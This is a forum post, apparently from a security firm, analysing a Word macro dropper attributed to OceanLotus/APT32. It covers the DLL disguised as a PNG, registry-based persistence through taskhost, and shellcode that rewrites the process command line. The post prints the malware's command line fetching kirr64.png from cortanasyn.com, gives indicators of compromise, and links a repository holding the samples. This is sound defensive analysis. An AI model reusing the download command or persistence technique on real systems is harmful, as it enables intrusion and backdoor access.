Post a Reply
3835 views

Word Based Malware

  1. 7 months ago
    Edited 7 months ago by Phạm Nhật Duy

    malware-word-01.png

    A while ago, a client informed us that they were likely being attacked. We came to assist and found out the key problem was this suspicious document. It’s written in Vietnamese with a “compelling” warning that user should click on “Enable Content”. After a few weeks analyzing the file, here is our report in details.

    1.png

    BEFORE YOU READ

    In this article, we’ll detail the infection chains and mechanism of how malware acts as a “backdoor”. Overall, it drops a DLL file with a faked registry of a Windows service, which will be automatically run every time computer starts up by taskhost process. This DLL will change the command line of taskhost, then make it connect back to attacker’s server and download other malicious files if available (I couldn’t verify because the server is down). Yet, we can verify our theory by analyzing every byte of the malware!

    TOOLS:

    • Virtual machine: Windows 7 x64
    • Microsoft Office 2010
    • Debugger & disassembler: IDA 7.0 (with Hex-ray decompiler), blobrunner64 (debug shellcode)
    • File explorer: CFF, DIE(detect it easy)
    • Process explorer: procexp64
    • Network monitor: procmon, wireshark

    Infection chains

    2.png

    infection_chains.xmind

    SUMMARY

    • Stage 1: WORD file infection
    • Stage 2: Drop file “main_background.png”
    • Stage 3: PE file execution

    STAGE 1: WORD file infection

    A victim opens word file. It contains an image warning user to “enable content” in order to make the document “compatible” with the current Microsoft Word version. “Enable Content” means enabling macros - a series of commands that user can legitimately automate a repeated task, which the attacker can take advantage of.

    So let’s do what attacker wants. Throw word file into virtual machine (VM) Windows 7. Open it. And “enable content”. Now we’re able to analyse macros code

    3.png

    Check which version of Microsoft Word is running (x32 or x64)

    3.3.png

    If we open word file with Microsoft Excel, shellcode (base64 encoded) for each Word version seems to be revealed underneath the image

    4.png

    Back to macros. Write shellcode of corresponding Word version into main_background.png

    5.png

    Fake main_background.png as a PlaySoundService DLL file for Windows services by faking its registry - HKEY_CLASSES_ROOT\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}

    6.png

    7.png

    => Drop file main_background.png and cause its shellcode to run everytime computer starts up (since taskhost runs all DLL related to Windows services at startup)

    STAGE 2: Drop file “main_background.png”

    Before analysing, let’s see its behavior and check our theory by restarting VM.

    Open process explorer procexp64 and check for taskhost.exe process

    8.png

    Hmmm… So it’s true! taskhost.exe process is infected with “evil” command line A:\Code\Macro_NB2\Request\PostData64.exe -u https://cortanasyn.com/kirr64.png -t 2000

    Maybe it’s connecting back to server cortanasyn.com and request for another malicious file kirr64.png? Let’s analyse main_background.png shellcode to understand its tricks and confirm our assumption.

    First, load main_background.png into IDA and disassemble it.

    We’re brought right into DllMain function => So it’s an actual DLL file, not PNG (we can verify with DIE).

    9.png

    It calls sub_180001010. Let’s go there.

    10.png

    All small details are commented if you want to know further.

    The main idea is: it allocates memory within virtual address space of parent process, writes shellcode_buffer into that memory region, then creates a thread to run shellcode.

    Now we focus on what’s important. shellcode_buffer. Jump to it then.

    11.png

    It’s actually in .data segment but we can convert it into pseudocode using awesome IDA plugin Hex-Rays Decompiler .

    It returns function sub_18001490B with a pointer to “evil” command buffer as parameter

    12.png

    Go to sub_18001490B. It’s a HUGE obfuscated shellcode with 1106 lines of pseudocode! I had no other option but debug main_background DLL to find out how it worked in details.

    13.png

    Well, let’s try debug this DLL. Attach taskhost.exe as the application to run this DLL

    14.png

    And set breakpoints in DllMain and other anti-debug, anti-vm functions (I found only IsDebuggerPresent in the main code, others might be hidden so I also put breakpoints in those functions in kernel32.dll and ntdll.dll).

    15.png

    However, after countless attempts to bypass anti-debug, vm tricks, breakpoints in DllMain and IsDebuggerPresent were never hit and it just exited immediately.

    So I searched for other solutions to debug the shellcode. Thankgod, I found BlobRunner - “a simple tool to quickly debug shellcode extracted during malware analysis”

    First, we need to extract (dump) shellcode_buffer.

    Okay, how many bytes exactly do we need to dump? Remember this?

    16.png

    VirtualAllocEx() allocates memory of size 206345 = 0x32609 bytes and WriteProcessMemory writes shellcode_buffer into that allocated region. That region starts from .data:00000001800148F0

    So we have the start address and its size, let’s dump the shellcode using IDA Python command:

    open("shellcode.bin", "wb").write(GetManyBytes(0x1800148F0, int(0x32609)))

    Now we can debug shellcode by loading blobrunner64.exe into IDA with shellcode.bin as a parameter (NOTE: put shellcode.bin into the same folder with blobrunner64.exe)

    17.png

    Start debugging

    17.1.png

    Put breakpoint at thread entry (0x60000 in this case). Press “C” to convert into code

    18.png
    19.png

    Press any key in blobrunner window to continue debugging and hit breakpoint.

    Now shellcode can be debugged. Unfortunately, pseudocode view does not work when I hit TAB

    20.png

    So I had to do static and dynamic analysis at the same time, which means I had to analyse pseudocode of shellcode in main_background.png IDA window, and get variable’s values from debugging blobrunner64.exe IDA.

    Yes, the over-obfuscated shellcode with 1106 lines..

    After serveral days, here’re some important pieces I’ve found inside main_background.png shellcode:

    Duplicate pointers to “evil” command line A:\Code\Macro_NB2\Request\PostData64.exe -u https://cortanasyn.com/kirr64.png -t 200000

    21.png

    Call GetProcAddress to retrieve addresses of functions VirtualAlloc, VirtualProtect, ...

    Call VirtualAlloc to allocate memory for “evil” command line buffer. Then call wsprintfA to write buffer into allocated region.

    23.png

    Call VirtualProtect to change access protection of GetCommandLineA for later use. Then call memcpy to overwrite pointer to command line string of current process with “evil” command line buffer

    24.png

    Here comes interesting code!

    25.png

    While debugging, I’ve found a pointer to data with “MZ” symbol.

    26.png

    Splendid. It’s the sign of an executable PE file!!

    You can find out more about PE file structure and we’ll see how to dump that file and debug in Stage 3!

    Back to our pseudocode, main idea is: call VirtualAlloc to allocate memory for the PE file and return pointer to that allocated region. Then call memcpy to copy headers, code segment, data segment,.. of PE file into the region through that pointer

    Continue, this code in WHILE loop will parse and load functions, which PE file will later use, into allocated region (allow to execute)

    28.png

    Finally, this executes PE file!

    29.png

    STAGE 3: PE file execution

    For convenient analysis, first we need to dump it!

    Again, how many bytes to dump?

    We can look up the bytes value in VirtualAlloc when allocating memory for the file. However, for precision, follow this tutorial and we can get exact PE file size!

    After we obtain the size (0x31600) and start address of MZ header (0x1800158F9), execute IDA python command again to dump it:

    open("_1800158F9.bin", "wb").write(GetManyBytes(0x1800158F9, int(0x31600)))

    Check to see if it’s executable:

    30.png

    Yes! Now we change _1800158F9.bin into _1800158F9.exe, load it into IDA and debug as usual

    Before entering into main function, it calls GetCommandlineA first in _tmainCRTStartup()

    31.png

    If we analyse PE code while debugging “main_background” shellcode (instead of debugging _1800158F9.exe), we can see the command line of parent process is already overwritten with the “evil” command line !!

    call     cs:off_16D0A8

    32.png

    mov    cs:qword_182290, rax

    33.png

    Okay, the command line of parent process (taskhost.exe when startup) is infected with “evil” command line as we expected!

    A:\Code\Macro_NB2\Request\PostData64.exe -u https://cortanasyn.com/kirr64.png -t 2000

    Now, what to do with that command?

    Move to main function, it parses arguments of command line

    34.png

    After a series of functions, we arrive at WinHTTP functions:

    Get HTTP session handle:

    35.png

    Get connection handle to server name cortanasyn.com using HTTP session handle

    36.png

    Create a request object kirr64.png from server cortanasyn.com, then return REQUEST handle

    36.1.png

    WHILE loop keeps sending request for object kirr64.png, receiving response from server cortanasyn.com, and read data (if data available)

    37.png

    Conclusion

    Finally, it is true that this malware acts as a “backdoor” connecting back to server and telling its boss to send even more files. Yet, we’re still unsure about the destruction it might cause if other files can reach back to victim’s computer, since the server has been taken down. More importantly, we don’t know whether it takes advantage of a severe system vulnerability or not, because the core idea is just simply executing macros code to fake registry of a malicious DLL. If it does, hopefully it is a 0day or at least we can find out its CVE.

    We look forward to hearing your feedback to this blog. Thanks for reading!

    UPDATE: While wrapping up our analysis report, we also discovered another recent blog about this malware by some organization. Thanks to that blog, we finally found out the creator of this "evil" document. OceanLotus (AKA APT32) . One of the most sophisticated threat actors originating out of south east Asia targets private sectors across multiple industries, foreign governments, activists, and dissidents connected to Vietnam.

    IOCs

    • Domain: cortanasyn.com
    • IP: 109.200.24.98 (redirected to rackcentre.redstation.net.uk)
    • Registry: HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543} (PlaySndSrv.dll)
    • Data: %AppData%\Roaming\main_background.png

    Resources

    If you want to reconstruct the analysis process on your own, here is the link to our github where contains the malware, drop files, infection chains: https://github.com/cystack/word-based-malware

 

or Sign Up to reply!